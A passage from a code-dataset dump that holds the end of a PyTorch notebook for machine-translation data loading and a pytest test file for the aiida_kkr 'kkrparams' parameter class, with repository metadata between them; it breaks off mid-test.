preprocess_nmt(read_data_nmt())\n    source, target = tokenize_nmt(text, num_examples)\n    src_vocab = Vocab(source, min_freq=2,\n                          reserved_tokens=['<pad>', '<bos>', '<eos>'])\n    tgt_vocab = Vocab(target, min_freq=2,\n                          reserved_tokens=['<pad>', '<bos>', '<eos>'])\n    src_array, src_valid_len = build_array_nmt(source, src_vocab, num_steps)\n    tgt_array, tgt_valid_len = build_array_nmt(target, tgt_vocab, num_steps)\n    data_arrays = (src_array, src_valid_len, tgt_array, tgt_valid_len)\n    data_iter = load_array(data_arrays, batch_size)\n    return data_iter, src_vocab, tgt_vocab\n\n\n# + [markdown] id=\"ARsiX21oXdOd\"\n# Show the first minibatch.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"vl00eydyXeYF\" outputId=\"a48df679-efd7-4e87-b3cd-fb66689e56e0\"\ntrain_iter, src_vocab, tgt_vocab = load_data_nmt(batch_size=2, num_steps=8)\nfor X, X_valid_len, Y, Y_valid_len in train_iter:\n    print('X:', X.type(torch.int32))\n    print('valid lengths for X:', X_valid_len)\n    print('Y:', Y.type(torch.int32))\n    print('valid lengths for Y:', Y_valid_len)\n    break\n\n# + id=\"thnQxtaIXenj\"\n\n", "meta": {"hexsha": "6f9c133fe3047da2ae552e8f881ceddad40be1e0", "size": 22494, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks-text-format/text_preproc_torch.py", "max_stars_repo_name": "arpitvaghela/probml-notebooks", "max_stars_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 166, "max_stars_repo_stars_event_min_datetime": "2021-07-16T17:33:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T03:35:34.000Z", "max_issues_repo_path": "notebooks-text-format/text_preproc_torch.py", "max_issues_repo_name": "arpitvaghela/probml-notebooks", "max_issues_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2021-07-21T16:31:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:50:13.000Z", "max_forks_repo_path": "notebooks-text-format/text_preproc_torch.py", "max_forks_repo_name": "arpitvaghela/probml-notebooks", "max_forks_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 48, "max_forks_repo_forks_event_min_datetime": "2021-07-17T08:26:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T03:36:18.000Z", "avg_line_length": 38.1254237288, "max_line_length": 374, "alphanum_fraction": 0.6814706144, "include": true, "reason": "import numpy", "num_tokens": 6663, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2782567817320044, "lm_q2_score": 0.1919327864472368, "lm_q1q2_score": 0.05340659946566419}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 15 16:43:31 2017\n\n@author: ruess\n\"\"\"\n\nimport pytest\nfrom aiida_kkr.tools.kkr_params import kkrparams\n    \n        \n# helper functions\n\ndef check_full_dict(p,p0):\n    \"\"\"\n    helper function that compares full dictionary\n    \"\"\"\n    from numpy import ndarray, array\n    for key in [i[0] for i in p.get_set_values()]:\n        v = p.get_value(key)\n        v0 = p0.get_value(key)\n        if type(v) != list and type(v) != ndarray:\n            if v!=v0:\n                print(key, v, v0)\n            assert v==v0\n        elif type(v[0]) != str:\n            if abs(array(v)-array(v0)).max()>=10**-14:\n                print(key, abs(array(v)-array(v0)).max())\n            assert abs(array(v)-array(v0)).max()<10**-14\n        else:\n            if set(v)-set(v0)!=set():\n                print(key, set(v)-set(v0))\n            assert set(v)-set(v0)==set()\n\n# tests\n    \n\nclass Test_create_and_set_keys():\n    def test_create_params_with_inital_values(self):\n        p = kkrparams(RBASIS=[0,0,0], params_type='voronoi')\n        assert type(p)==kkrparams\n        assert p.values['<RBASIS>'] == [0,0,0]\n    \n    def test_default_values(self):\n        p = kkrparams()\n        assert p.values['EMIN'] is None\n        \n    def test_set_single_value(self):\n        p = kkrparams()\n        p.set_value('EMIN', 2)\n        assert p.values['EMIN'] == 2.\n        assert p.values['EMAX'] is None\n        \n    def test_set_multiple_values(self):\n        p = kkrparams()\n        p.set_multiple_values(EMIN=1, EMAX=2)\n        assert p.values['EMIN']== 1.\n        assert p.values['EMAX']== 2.\n\n    \nclass Test_capture_wrong_input():\n    def test_wrong_input_type(self):\n        p = kkrparams()\n        known_error = False\n        try:\n            p.set_value('EMIN', '2')\n        except TypeError:\n            known_error = True\n        assert known_error\n        \n        known_error = False\n        try:\n            p.set_value('EMIN', False)\n        except TypeError:\n            known_error = True\n        assert known_error\n        \n    def test_wrong_input_array_dimension(self):\n        p = kkrparams()\n        from numpy import array, sqrt\n        bravais = array([[0.7071067812, -0.5, 0.0], [0.7071067812, 0.5, 0.0], [sqrt(2), 0.0, 0.866025404]])\n        \n        # atom positions in relative coordinates\n        basis_vectors = []\n        for iatom in range(6):\n            tmp = array([0, 0, 0])+iatom*array([0.5, 0.5, bravais[2, 2]])\n            tmp[0] = tmp[0]%1\n            tmp[1] = tmp[1]%1\n            print(iatom, tmp)\n            basis_vectors.append(tmp)\n        basis_vectors = array(basis_vectors)\n        p.set_value('INTERFACE', True)\n        p.set_value('<RBLEFT>', array([[1,1],[0,1]]))\n        \n    def test_input_consistency_check_fail(self):\n        knownError = False\n        try: \n            p = kkrparams(ZATOM=29., LMAX=2, NAEZ=1, BRAVAIS=[[1,0,0],[0,1,0],[0,0,1]], RMAX=7, GMAX=65, NSPIN=2, RBASIS=[0,0,0], ALATBASIS=1)\n            p.set_value('LDAU_PARA', [1,2])\n            p._check_input_consistency()\n        except TypeError:\n           knownError = True\n        assert knownError\n\n    def test_inconsistency_bulk_mode_bravais(self):\n        p = kkrparams(LMAX=2, NAEZ=1, BRAVAIS=[[1,0,0],[0,1,0],[0,0,0]], NSPIN=2, RBASIS=[0,0,0], ALATBASIS=1, RMAX=7, GMAX=65, ZATOM=29.)\n        knownError = False\n        try:\n            p.fill_keywords_to_inputfile()\n        except ValueError:\n            knownError = True\n        assert knownError\n    \n        \nclass Test_get_info():\n    def test_get_mandatory(self):\n        p = kkrparams()\n        manlist = p.get_all_mandatory()\n        assert set(manlist)==set(['LMAX', 'NAEZ', 'BRAVAIS', 'RMAX', 'GMAX', 'NSPIN', '<RBASIS>', 'ALATBASIS', '<ZATOM>'])\n        \n    def test_get_set_values(self):\n        p = kkrparams()\n        setlist = p.get_set_values()\n        assert setlist==[]\n        \n    def test_get_set_values2(self):\n        from numpy import array\n        p = kkrparams()\n        p.set_multiple_values(EMIN=1, EMAX=2)\n        setlist = p.get_set_values()\n        assert set(array(setlist).flatten()) == set(array([['EMIN', 1.], ['EMAX', 2.]]).flatten())\n        \n    def test_get_description(self):\n        p = kkrparams()\n        desc = p.get_description('EMIN')\n        assert desc=='Accuracy, Valence energy contour: Lower value (in Ryd) for the energy contour'\n        \n    def test_get_type(self):\n        p = kkrparams()\n        tlist = p.get_type('BRAVAIS')\n        assert tlist == [float, float, float, float, float, float, float, float, float]\n        \n    def test_is_mandatory(self):\n        p = kkrparams()\n        man = p.is_mandatory('EMAX')\n        assert (not man)\n        \n    def test_get_value(self):\n        p = kkrparams(LMAX=3)\n        # check for KeyError if wrong key is checked\n        known_error = False\n        try:\n            p.get_value('something_wrong')\n        except KeyError:\n            known_error = True\n        assert known_error\n        # check for returning unset value\n        npol = p.get_value('NPOL')\n        assert npol == None\n        # check correct LMAX value\n        lmax = p.get_value('LMAX')\n        assert lmax == 3\n        # check for returning lists for RUNOPT and TESTOPT\n        runopt = p.get_value('RUNOPT')\n        testopt = p.get_value('TESTOPT')\n        assert runopt == []\n        assert testopt == []\n        p = kkrparams(TESTOPT=['test1', 'test2'], RUNOPT=['NEWSOSOL'])\n        runopt = p.get_value('RUNOPT')\n        testopt = p.get_value('TESTOPT')\n        assert runopt == ['NEWSOSOL']\n        assert set(testopt) == set(['test1', 'test2'])\n        \n\n    \nclass Test_fill_inputfile():\n    def test_fill_inputfile_minimal_Voronoi(self):\n        p = kkrparams(ZATOM=29., LMAX=2, NAEZ=1, BRAVAIS=[[1,0,0],[0,1,0],[0,0,1]], RCLUSTZ=1.5, NSPIN=2, RBASIS=[0,0,0], ALATBASIS=1)\n        p.fill_keywords_to_inputfile(is_voro_calc=True)\n        txt = open('inputcard').readlines()\n        ref = ['ALATBASIS= 1.00000000000000\\n', 'BRAVAIS\\n', '1.00000000000000 0.00000000000000 0.00000000000000\\n',\n               '0.00000000000000 1.00000000000000 0.00000000000000\\n', '0.00000000000000 0.00000000000000 1.00000000000000\\n', 'NAEZ= 1\\n', '<RBASIS>\\n',\n               '0.00000000000000 0.00000000000000 0.00000000000000\\n', '<ZATOM>\\n', '29.00000000000000\\n', 'NSPIN= 2\\n', 'LMAX= 2\\n', 'RCLUSTZ= 1.50000000000000\\n']\n        done=False\n        while not done:\n            try:\n                txt.remove('\\n')\n            except ValueError:\n                done = True\n        assert len(txt)==len(ref)\n        txt.sort()\n        ref.sort()\n        print(txt, ref)\n        for i in range(len(txt)):\n            print(i, txt[i], ref[i])\n            assert set(txt[i].split())==set(ref[i].split()) \n            \n    def test_fill_inputfile_KKR(self):\n        reffile = ['ALATBASIS= 1.00000000000000\\n', 'BRAVAIS\\n', '1.00000000000000 0.00000000000000 0.00000000000000\\n', '<ZATOM>\\n', '29.00000000000000\\n',\n                   '0.00000000000000 1.00000000000000 0.00000000000000\\n', '0.00000000000000 0.00000000000000 1.00000000000000\\n', 'NAEZ= 1\\n',\n                   '<RBASIS>\\n', '0.00000000000000 0.00000000000000 0.00000000000000\\n', 'NSPIN= 2\\n', 'LMAX= 2\\n', \n                   'RCLUSTZ= 1.50000000000000\\n', 'RMAX=      7.00000000000000\\n', 'GMAX=      65.00000000000000\\n']\n        p = kkrparams(ZATOM=29., LMAX=2, NAEZ=1, BRAVAIS=[[1,0,0],[0,1,0],[0,0,1]], RMAX=7, GMAX=65, RCLUSTZ=1.5, NSPIN=2, RBASIS=[0,0,0], ALATBASIS=1)\n        p.fill_keywords_to_inputfile()\n        txt = open('inputcard').readlines()\n        done=False\n        while not done:\n            try:\n                txt.remove('\\n')\n            except ValueError:\n                done = True\n        assert len(txt)==len(reffile)\n        txt.sort()\n        reffile.sort()\n        for i in range(len(txt)):\n            assert set(txt[i].split())==set(reffile[i].split())\n        \n    def test_fill_inputfile_empty_check(self):\n        p = kkrparams(LMAX=2, NAEZ=1)\n        known_error = False\n        try:\n            p.fill_keywords_to_inputfile()\n        except ValueError:\n            known_error = True\n        assert known_error\n        \n    def test_fill_inputfile_all_keys(self):  \n        \"\"\"Example filling all keys\"\"\"      \n        from numpy import array, sqrt\n       \n        alat=5.416871386\n        naez=6\n        bravais=array([[0.7071067812, -0.5, 0.0], [0.7071067812, 0.5, 0.0], [sqrt(2), 0.0, 0.866025404]])\n        lmax=2\n        nspin=2\n        nucl_numbers=[0,0,26,27,26,27,0,0]\n        cpa_info = [naez+2, [1., 1., 0.98, 0.02, 0.98, 0.02, 1., 1.], [1, 2, 3, 3, 4, 4, 5, 6]]\n        npol=4\n        npt1, npt2, npt3 = 3, 10, 3\n        tempr= 800\n        basis_vectors = []\n        for iatom in range(naez):\n            tmp = array([0, 0, 0])+iatom*array([0.5, 0.5, bravais[2, 2]])\n            tmp[0] = tmp[0]%1\n            tmp[1] = tmp[1]%1\n            print(iatom, tmp)\n            basis_vectors.append(tmp)\n        basis_vectors = array(basis_vectors)\n        natyp = cpa_info[0]\n        cpa_conc = cpa_info[1]\n        cpa_sites = cpa_info[2]\n        ins=1\n        kshape=ins\n        rmax, gmax= 7, 65\n        rcls=1.5\n        bzdivide=[10,10,0]\n        emin=-0.4\n        p = kkrparams()\n        p.set_multiple_values(ZATOM=nucl_numbers, RBASIS=basis_vectors, BRAVAIS=bravais, NAEZ=naez, ALATBASIS=alat)\n        p.set_multiple_values(NSPIN=nspin, LMAX=lmax, NPOL=npol, NPT1=npt1, NPT2=npt2, NPT3=npt3, TEMPR=tempr)\n        p.set_multiple_values(RMAX=rmax, GMAX=gmax)\n        p.set_multiple_values(RCLUSTZ=rcls, BZDIVIDE=bzdivide, EMIN=emin)\n        p.set_multiple_values(INS=ins, KSHAPE=kshape)\n        p.set_multiple_values(INTERFACE=True, NLBASIS=1, NRBASIS=1,\n                              ZPERIODL=array([-0.5, -0.5, -bravais[2, 2]]), \n                              ZPERIODR=array([0.5, 0.5, bravais[2, 2]]), \n                              RBLEFT=basis_vectors[0]+array([-0.5, -0.5, -bravais[2, 2]]), \n                              RBRIGHT=basis_vectors[naez-1]+array([0.5, 0.5, bravais[2, 2]]))\n        p.set_value('LINIPOL', True)\n        p.set_value('XINIPOL', [1 for i in range(natyp)])\n        p.set_value('HFIELD', 0.02)\n        p.set_value('NSTEPS', 1)\n        p.set_value('IMIX', 0)\n        p.set_value('STRMIX', 0.01)\n        p.set_value('CARTESIAN', False)\n        p.set_multiple_values(KAOEZR=1, KAOEZL=1, FPRADIUS=[-1 for i in range(natyp)], RCLUSTXY=rcls, \n                              TKSEMI=800,EMAX=1, NPOLSEMI=0, N2SEMI=0, N1SEMI=0, N3SEMI=0, FSEMICORE=0, \n                              KVREL=1, NCHEB=7, VCONST=0, SOCSCL=[1 for i in range(natyp)], \n                              LAMBDA_XC=1, FCM=20, ITDBRY=20, KREADLDAU=0, RUNOPT=['LDAU', 'SEMICORE', 'IRGENDWAS FALSCHES'],\n                              TESTOPT=['TSTOPTX0', 'TSTOPTX1', 'TSTOPTX2', 'TSTOPTX3', 'TSTOPTX4', 'TSTOPTX5', 'TSTOPTX6', 'TSTOPTX7', 'TSTOPTX8', 'TSTOPTXYZZZZZZ'], QBOUND=10**-3, \n                              NPAN_LOG=3, NPAN_EQ=4, CPAINFO=[10**-3, 20], LLOYD=0, EMUSEMI=0, ICST=2, \n                              TOLRDIF=0.01, BRYMIX=0.01, EBOTSEMI=0, NRIGHTHO=10, KEXCOR=2, NLEFTHOS=10,\n                              R_LOG=0.4, LDAU_PARA=[1, 2, 0, 0, 0], NAT_LDAU=0, \n                              RMTREFL=2.3, RMTREFR=2.3, DELTAE=[10**-5, 0], RMTREF=[2.3 for i in range(natyp)])\n        p.set_value('<SHAPE>', [1 for i in range(natyp)])\n        p.set_multiple_values(NATYP=natyp, SITE=cpa_sites)\n        p.set_value('<CPA-CONC>', cpa_conc)\n        p.set_value('FILES', ['output.pot', ''])\n        p.fill_keywords_to_inputfile(is_voro_calc=True)\n        \n    def test_set_rmtcore(self):\n        #test rmtcore\n        from numpy import array\n        from aiida_kkr.tools.common_functions import search_string\n        \n        para_dict = dict([(u'INS', 0),\n            (u'RCLUSTZ', 1.69),\n            (u'LMAX', 2),\n            (u'GMAX', 65.0),\n            (u'<RMTCORE>', [0.3535533906, 0.3535533906, 0.3535533906, 0.3535533906]),\n            (u'RMAX', 7.0),\n            (u'NSPIN', 1)])\n        zatom = array([ 47.,  47.,  47.,  47.])\n        alat = 7.8692316414074615\n        natom = 4\n        positions = array([[ 0. ,  0. ,  0. ],\n                           [ 0. ,  0.5,  0.5],\n                           [ 0.5,  0. ,  0.5],\n                           [ 0.5,  0.5,  0. ]])\n        bravais = array([[ 1.,  0.,  0.],\n                         [ 0.,  1.,  0.],\n                         [ 0.,  0.,  1.]])\n        k =kkrparams(**para_dict)\n        k.set_multiple_values(ZATOM=zatom, NAEZ=natom, ALATBASIS=alat, RBASIS=positions, BRAVAIS=bravais)\n        k.fill_keywords_to_inputfile()\n        \n        txt = open('inputcard').readlines()\n        naez = int(txt[search_string('NAEZ', txt)].split()[-1])\n        rmtcore = []\n        l_offset = search_string('RMTCORE', txt)\n        for iatom in range(naez):\n            rmtcore_at = float(txt[l_offset+1+iatom].split()[-1])\n            rmtcore.append(rmtcore_at)\n        maxdiff = (max(abs(array(para_dict['<RMTCORE>']) - array(rmtcore))))\n        assert maxdiff < 10**-6\n         \n    def test_set_kkrimp_params_full(self):\n        p = kkrparams(params_type='kkrimp')\n        p.set_multiple_values(CALCORBITALMOMENT=0, RUNFLAG='', QBOUND=10**-7, NSPIN=1, \n                              TESTFLAG='', NPAN_EQ=7, CALCFORCE=0, NPAN_LOGPANELFAC=2, \n                              SPINORBIT=0, ITDBRY=20, NPAN_LOG=5, INS=1, ICST=2, \n                              CALCJIJMAT=0, NCHEB=10, HFIELD=[0.00, 0], BRYMIX=0.05, \n                              KVREL=1, IMIX=0, RADIUS_MIN=-1, NCOLL=0, RADIUS_LOGPANELS=0.6, \n                              MIXFAC=0.05, SCFSTEPS=1, XC='LDA-VWN')\n        p.fill_keywords_to_inputfile(output='config.cfg')\n        reftxt = ['RUNFLAG=\\n', 'TESTFLAG=\\n', '\\n', 'INS= 1\\n', 'KVREL= 1\\n', 'NSPIN= 1\\n', '\\n', 'SCFSTEPS= 1\\n', 'IMIX= 0\\n', 'ITDBRY= 20\\n', 'MIXFAC=      0.05000000000000\\n', 'BRYMIX=      0.05000000000000\\n', 'QBOUND= 1.000000e-07\\n', '\\n', 'XC= LDA-VWN\\n', 'ICST= 2\\n', 'SPINORBIT= 0\\n', 'NCOLL= 0\\n', 'NPAN_LOGPANELFAC= 2\\n', 'RADIUS_LOGPANELS=      0.60000000000000\\n', 'RADIUS_MIN= -1\\n', 'NPAN_LOG= 5\\n', 'NPAN_EQ= 7\\n', 'NCHEB= 10\\n', '\\n', 'HFIELD=      0.00000000000000 0\\n', '\\n', 'CALCORBITALMOMENT= 0\\n', 'CALCFORCE= 0\\n', 'CALCJIJMAT= 0\\n']\n        txt = open('config.cfg').readlines()\n        assert txt==reftxt\n        \n               \nclass Test_read_inputfile():\n    def test_read_minimal_inputfile(self):\n        p = kkrparams(ZATOM=26., LMAX=2, NAEZ=1, BRAVAIS=[[1,0,0],[0,1,0],[0,0,1]], RCLUSTZ=1.5, NSPIN=2, RBASIS=[0,0,0], ALATBASIS=1)\n        p.fill_keywords_to_inputfile(is_voro_calc=True)\n        p2 = kkrparams(params_type='voronoi')\n        p2.read_keywords_from_inputcard()\n        check_full_dict(p,p2)\n        \n    def test_read_unsorted_inputfile(self):\n        p = kkrparams(ZATOM=26., LMAX=2, NAEZ=1, BRAVAIS=[[1,0,0],[0,1,0],[0,0,1]], RCLUSTZ=1.5, NSPIN=2, RBASIS=[0,0,0], ALATBASIS=1, RMAX=7, GMAX=65)\n        p.fill_keywords_to_inputfile(output='input.temp.txt')\n        txt = open('input.temp.txt', 'r').readlines()\n        # exchange some lines\n        tmp = txt[0]; txt[0] = txt[5]; txt[5]=tmp\n        tmp = txt[-1]; txt[-1] = txt[-2]; txt[-2]=tmp\n        tmp = txt[-2]; txt[-2] = txt[-4]; txt[-4]=tmp\n        tmp = txt[-3]; txt[-3] = txt[-1]; txt[-1]=tmp\n        open('input.temp_unsorted.txt', 'w').writelines(txt)\n        p2 = kkrparams()\n        p2.read_keywords_from_inputcard(inputcard='input.temp_unsorted.txt')\n        print(p2.get_dict())\n        print(dict(p2.get_set_values()))\n        check_full_dict(p,p2)\n        \n    def test_read_slab(self):\n        from numpy import array\n        from aiida_kkr.tools.common_functions import get_Ang2aBohr\n        p = kkrparams(params_type='kkr')\n        \n        # automatically read keywords from inpucard\n        p.read_keywords_from_inputcard(inputcard='../tests/files/kkr/import_calc_old_style/inputcard')\n        # convert some read-in stuff back from Ang. units to alat units\n        rbl = p.get_value('<RBLEFT>')\n        rbr = p.get_value('<RBRIGHT>')\n        zper_l = p.get_value('ZPERIODL')\n        zper_r = p.get_value('ZPERIODR')\n        ang2alat = get_Ang2aBohr()/p.get_value('ALATBASIS')\n        if rbl is not None: p.set_value('<RBLEFT>', array(rbl)*ang2alat)\n        if rbr is not None: p.set_value('<RBRIGHT>', array(rbr)*ang2alat)\n        if zper_l is not None: p.set_value('ZPERIODL', array(zper_l)*ang2alat)\n        if zper_r is not None: p.set_value('ZPERIODR', array(zper_r)*ang2alat)\n        \n        # set parameters of expected values manually\n        p0 = kkrparams(RUNOPT=['xigid-ef','LLOYD', 'ewald2d', 'NEWSOSOL', 'DOS'], TESTOPT=['ie','RMESH','clusters','MPIenerg','fullBZ','DOS'], LMAX=3, NSPIN=2, NATYP=80, NAEZ=80, CARTESIAN=True, ALATBASIS=20.156973053, BRAVAIS=[[0.38437499, 0., 0.], [0.19218749, -0.33287851, 0.], [0.19218749, -0.11095950, 1.]], INTERFACE=True, NRIGHTHO=10, NLEFTHOS=10, NLBASIS=10, NRBASIS=10, ZPERIODL=[-1.92187500000000e-01, 1.10959504859881e-01, -1.00000000000000e+00], ZPERIODR=[1.92187500000000e-01, -1.10959504859881e-01, 1.00000000000000e+00], RCLUSTZ=0.65, RCLUSTXY=0.65, EMIN=-1.2, EMAX=1.2, TEMPR=473., NPOL=7, NPT1=7, NPT2=40, NPT3=6, KSHAPE=2, INS=1, ICST=2, KEXCOR=2, HFIELD=0, VCONST=0, NPAN_LOG=17, NPAN_EQ=7, NCHEB=12, R_LOG=0.8, BZDIVIDE=[40, 40, 1], NSTEPS=500, IMIX=5, STRMIX=0.02, FCM=20., QBOUND=10**-7, BRYMIX=0.02, ITDBRY=30, LINIPOL=False, FILES=['potential', 'shapefun'], RMAX=15., GMAX=900.)\n        p0.set_value('<ZATOM>', [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 51.0, 0.0, 52.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n        p0.set_value('<SHAPE>', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10])\n        p0.set_multiple_values(KAOEZR=[i for i in range(1,11)], KAOEZL=[i for i in range(1,11)], KVREL=1, RMTREFL=[2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000], RMTREFR=[2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000])\n        p0.set_multiple_values(RMTREF=[2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000, 2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000, 2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000, 2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000, 2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000, 2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000, 2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000, 2.2671000, 2.2671000, 2.4948000, 2.3562000, 2.3562000, 2.3562000, 2.4948000, 2.2671000, 2.2671000, 2.5740000])\n        p0.set_multiple_values(RBLEFT=[[-1.92187500000000e-01,  1.10959504859881e-01, -1.00000000000000e+00], [ 8.32667268468867e-17,  2.77555756156289e-17, -9.49500000000000e-01], [ 1.92187500000000e-01, -1.10959504859881e-01, -8.33000000000000e-01], [ 3.84375000000000e-01, -2.21919009719762e-01, -7.16500000000000e-01], [ 8.32667268468867e-17,  0.00000000000000e+00, -6.33000000000000e-01], [ 1.92187500000000e-01, -1.10959504859881e-01, -5.49500000000000e-01],  [ 3.84375000000000e-01, -2.21919009719762e-01, -4.33000000000000e-01], [ 2.77555756156289e-17,  1.38777878078145e-17, -3.16500000000000e-01], [ 1.92187500000000e-01, -1.10959504859881e-01, -2.66000000000000e-01], [ 3.84375000000000e-01, -2.21919009719762e-01, -1.33000000000000e-01]],\n                               RBRIGHT=[[1.53750000000000e+00, -8.87676038879049e-01,  8.00000000000000e+00], [1.72968750000000e+00, -9.98635543738930e-01,  8.05050000000000e+00], [1.92187500000000e+00, -1.10959504859881e+00,  8.16700000000000e+00], [2.11406250000000e+00, -1.22055455345869e+00,  8.28350000000000e+00], [1.72968750000000e+00, -9.98635543738930e-01,  8.36700000000000e+00], [1.92187500000000e+00, -1.10959504859881e+00,  8.45050000000000e+00], [2.11406250000000e+00, -1.22055455345869e+00,  8.56700000000000e+00], [1.72968750000000e+00, -9.98635543738930e-01,  8.68350000000000e+00], [1.92187500000000e+00, -1.10959504859881e+00,  8.73400000000000e+00], [2.11406250000000e+00, -1.22055455345869e+00,  8.86700000000000e+00]],\n                               RBASIS=[[0.0, 0.0, 0.0], [0.1921875, -0.110959504859881, 0.0505000000000001], [0.384375, -0.221919009719762, 0.167], [0.5765625, -0.332878514579644, 0.2835], [0.1921875, -0.110959504859881, 0.367], [0.384375, -0.221919009719762, 0.4505], [0.5765625, -0.332878514579644, 0.567], [0.1921875, -0.110959504859881, 0.6835], [0.384375, -0.221919009719762, 0.734], [0.5765625, -0.332878514579644, 0.867], [0.1921875, -0.110959504859881, 1.0], [0.384375, -0.221919009719762, 1.0505], [0.5765625, -0.332878514579643, 1.167], [0.76875, -0.443838019439525, 1.2835], [0.384375, -0.221919009719762, 1.367], [0.5765625, -0.332878514579643, 1.4505], [0.76875, -0.443838019439525, 1.567], [0.384375, -0.221919009719762, 1.6835], [0.5765625, -0.332878514579643, 1.734], [0.76875, -0.443838019439525, 1.867], [0.384375, -0.221919009719762, 2.0], [0.5765625, -0.332878514579643, 2.0505], [0.76875, -0.443838019439525, 2.167], [0.9609375, -0.554797524299406, 2.2835], [0.5765625, -0.332878514579643, 2.367], [0.76875, -0.443838019439525, 2.4505], [0.9609375, -0.554797524299406, 2.567], [0.5765625, -0.332878514579643, 2.6835], [0.76875, -0.443838019439525, 2.734], [0.9609375, -0.554797524299406, 2.867], [0.5765625, -0.332878514579643, 3.0], [0.76875, -0.443838019439525, 3.0505], [0.9609375, -0.554797524299406, 3.167], [1.153125, -0.665757029159287, 3.2835], [0.76875, -0.443838019439525, 3.367], [0.9609375, -0.554797524299406, 3.4505], [1.153125, -0.665757029159287, 3.567], [0.76875, -0.443838019439525, 3.6835], [0.9609375, -0.554797524299406, 3.734], [1.153125, -0.665757029159287, 3.867], [0.76875, -0.443838019439525, 4.0], [0.9609375, -0.554797524299406, 4.0505], [1.153125, -0.665757029159287, 4.167], [1.3453125, -0.776716534019168, 4.2835], [0.9609375, -0.554797524299406, 4.367], [1.153125, -0.665757029159287, 4.4505], [1.3453125, -0.776716534019168, 4.567], [0.9609375, -0.554797524299406, 4.6835], [1.153125, -0.665757029159287, 4.734], [1.3453125, -0.776716534019168, 4.867], [0.9609375, -0.554797524299406, 5.0], [1.153125, -0.665757029159287, 5.0505], [1.3453125, -0.776716534019168, 5.167], [1.5375, -0.887676038879049, 5.2835], [1.153125, -0.665757029159287, 5.367], [1.3453125, -0.776716534019168, 5.4505], [1.5375, -0.887676038879049, 5.567], [1.153125, -0.665757029159287, 5.6835], [1.3453125, -0.776716534019168, 5.734], [1.5375, -0.887676038879049, 5.867], [1.153125, -0.665757029159287, 6.0], [1.3453125, -0.776716534019168, 6.0505], [1.5375, -0.887676038879049, 6.167], [1.7296875, -0.99863554373893, 6.2835], [1.3453125, -0.776716534019168, 6.367], [1.5375, -0.887676038879049, 6.4505], [1.7296875, -0.99863554373893, 6.567], [1.3453125, -0.776716534019168, 6.6835], [1.5375, -0.887676038879049, 6.734], [1.7296875, -0.99863554373893, 6.867], [1.3453125, -0.776716534019168, 7.0], [1.5375, -0.887676038879049, 7.0505], [1.7296875, -0.99863554373893, 7.167], [1.921875, -1.10959504859881, 7.2835], [1.5375, -0.887676038879049, 7.367], [1.7296875, -0.99863554373893, 7.4505], [1.921875, -1.10959504859881, 7.567], [1.5375, -0.887676038879049, 7.6835], [1.7296875, -0.99863554373893, 7.734], [1.921875, -1.10959504859881, 7.867]])\n    \n        # check all values\n        check_full_dict(p,p0)\n        \n        \nclass Test_other():\n    def test_get_missing_keys(self): \n        p = kkrparams()\n        missing = p.get_missing_keys()\n        assert set(missing)==set(['<ZATOM>', 'BRAVAIS', 'LMAX', 'GMAX', 'RMAX', 'NAEZ', '<RBASIS>', 'NSPIN', 'ALATBASIS'])\n        missing = p.get_missing_keys(use_aiida=True)\n        assert set(missing)==set(['LMAX', 'GMAX', 'RMAX', 'NSPIN'])\n        \n        p = kkrparams(params_type='voronoi', 